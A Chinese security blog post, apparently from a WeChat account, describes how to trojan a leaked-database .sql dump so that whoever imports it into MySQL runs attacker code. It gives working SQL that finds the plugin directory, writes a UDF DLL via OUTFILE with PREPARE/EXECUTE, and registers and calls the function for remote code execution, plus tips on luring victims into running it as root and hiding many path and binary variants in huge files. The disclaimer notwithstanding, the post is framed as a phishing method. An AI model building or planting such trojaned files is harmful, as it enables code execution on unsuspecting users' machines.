朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把SecretTeam安全团队“设为星标”,否则可能就看不到了啦!
免责声明
"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"
"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"
前言
之前聊天的时候有朋友说,能不能在裤子里插🐎,几百 MB 发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百 M 或者几百 G 的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。
为什么选用.sql 呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进 mysql 里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。
具体想法基本就是 UDF,直接写出 DLL 然后运行。能 RCE 的基本就是这样了。
然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题
-
mysql用户权限问题
-
mysql插件路径问题
-
写出时候的动态路径问题
-
mysql插件路径权限问题
安装一般都带这个,但是好在,windows 下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是 windows 洗,所以问题不太大。
对于用户权限问题,我们只需要在制作我们的钓鱼 sql 的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用 root 权限跑了。至于如何获取 mysql 插件也很简单,直接用 select @@basedir as basePath from dual 拼接一下就行。
最复杂的其实是动态路径问题,我之前一直以为 outfile 不能用变量,结果今天查了一下,有 prepare 和 execute 这种好东西。可以动态指行 sql 语句,那么这些要素不都齐全了?直接进行一个代码的缝合
核心代码
SET @BasePath = (select @@basedir as basePath from dual) ;
SET @fullOutputPath = CONCAT(@BasePath,'lib\plugin\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\','\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();
写出 dll 后用 udf 的方式上线就行
可能遇到的问题以及解决思路
有时候不同版本的 mysql 的插件路径不同,并且 64 位 windows/linux,32 位 windows/linux,所需要的路径 / 二进制文件也不同,这些应该如何处理呢?
我的看法就是直接进行一个暴力试错,反正几百 M 的 sql,多写几行别人也看不出来,不知道哪个版本的 mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制 hex 都写进去,总有一个会成功的
进阶分享
其实,如果不考虑上线,只考虑探针的话,我们 select 一些内容就行了,但是如果直接 select 不知道路径的情况下,我们能获取到的内容又不多,比如在 linux 下就只能读取到 passwd,hosts 这类东西。
如果想通了以上这些,那是否也可以制作蜜罐呢?细思极恐啊!!
原文始发于微信公众号(SecretTeam安全团队):钓鱼攻击与蜜罐思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论